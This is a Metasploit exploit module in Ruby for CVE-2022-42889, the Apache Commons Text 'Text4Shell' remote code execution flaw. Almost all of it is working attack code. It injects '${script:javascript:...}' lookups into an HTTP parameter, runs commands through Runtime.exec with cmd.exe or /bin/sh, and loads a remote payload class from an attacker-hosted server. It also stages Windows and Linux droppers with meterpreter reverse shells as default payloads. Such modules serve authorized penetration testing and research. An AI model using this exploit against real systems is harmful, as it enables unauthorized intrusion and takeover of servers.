## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Remote::Java::HTTP::ClassLoader def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Commons Text RCE', 'Description' => %q{ This exploit takes advantage of the StringSubstitutor interpolator class, which is included in the Commons Text library. A default interpolator allows for string lookups that can lead to Remote Code Execution. This is due to a logic flaw that makes the “script”, “dns” and “url” lookup keys interpolated by default, as opposed to what it should be, according to the documentation of the StringLookupFactory class. Those keys allow an attacker to execute arbitrary code via lookups primarily using the "script" key. In order to exploit the vulnerabilities, the following requirements must be met: Run a version of Apache Commons Text from version 1.5 to 1.9 Use the StringSubstitutor interpolator Target should run JDK < 15 }, 'License' => MSF_LICENSE, 'Author' => [ 'Alvaro Muñoz', # Original research 'Karthik UJ', # PoC 'Gaurav Jain', # Metasploit module ], 'References' => [ ['CVE', '2022-42889'], ['URL', 'https://sysdig.com/blog/cve-2022-42889-text4shell/'], ['URL', 'https://github.com/karthikuj/cve-2022-42889-text4shell-docker'] ], 'Platform' => ['win', 'linux', 'unix', 'java'], 'Targets' => [ [ 'Java (in-memory)', { 'Type' => :java, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' } }, ], [ 'Windows EXE Dropper', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper, 'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' } } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :windows_cmd, 'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' } } ], [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_jjs' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' } } ] ], 'Privileged' => false, 'DisclosureDate' => '2022-10-13', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [ true, 'The target URI', '/']), OptString.new('PARAM', [ true, 'The vulnerable parameter']), OptEnum.new('METHOD', [ true, 'The HTTP method to use', 'GET', ['GET', 'POST']]) ]) end def check vprint_status("Checking if #{peer} can be exploited.") res = send_exp return CheckCode::Unknown('No response received from target.') unless res # blind command injection using sleep command sleep_time = rand(4..8) vprint_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.") _res, elapsed_time = Rex::Stopwatch.elapsed_time do send_exp("java.lang.Thread.sleep(#{sleep_time * 1000})") end vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds.") return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time CheckCode::Vulnerable('Successfully tested command injection.') end def exploit case target['Type'] when :java # Start the HTTP server to serve the payload start_service # Trigger a loadClass request via java.net.URLClassLoader trigger_urlclassloader # Handle the payload handler when :windows_cmd, :unix_cmd execute_command(payload.encoded) when :windows_dropper, :linux_dropper execute_cmdstager end end def trigger_urlclassloader url = get_uri vars = Rex::RandomIdentifier::Generator.new exp = "var #{vars[:str_arr]} = Java.type('java.lang.String[]');" exp << "var #{vars[:obj]} = new java.net.URLClassLoader([new java.net.URL(new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(url)}')))]).loadClass('metasploit.Payload');" exp << "#{vars[:obj]}.getMethod('main', java.lang.Class.forName('[Ljava.lang.String;')).invoke(null, [new #{vars[:str_arr]}(1)]);" res = send_exp(exp) fail_with(Failure::Unreachable, 'No response received from the target') unless res fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200 end def execute_command(cmd, _opts = {}) vars = Rex::RandomIdentifier::Generator.new exp = "var #{vars[:arr]} = [#{win_target? ? '"cmd.exe", "/c"' : '"/bin/sh", "-c"'}, new java.lang.String(java.util.Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(cmd)}\"))];" exp << "java.lang.Runtime.getRuntime().exec(#{vars[:arr]});" res = send_exp(exp) fail_with(Failure::Unreachable, 'No response received from the target') unless res fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200 end def send_exp(exp = '') vars = datastore['METHOD'] == 'GET' ? 'vars_get' : 'vars_post' send_request_cgi( 'method' => datastore['METHOD'], 'uri' => normalize_uri(target_uri.path), vars => { datastore['PARAM'] => "${script:javascript:#{exp}}" } ) end def win_target? target['Platform'] == 'win' end def on_request_uri(cli, request) case target['Type'] when :java # Call method to handle java payload staging super(cli, request) else # Handle win/unix cmd staging client = cli.peerhost print_status("Client #{client} requested #{request.uri}") print_status("Sending payload to #{client}") send_response(cli, exe) end end end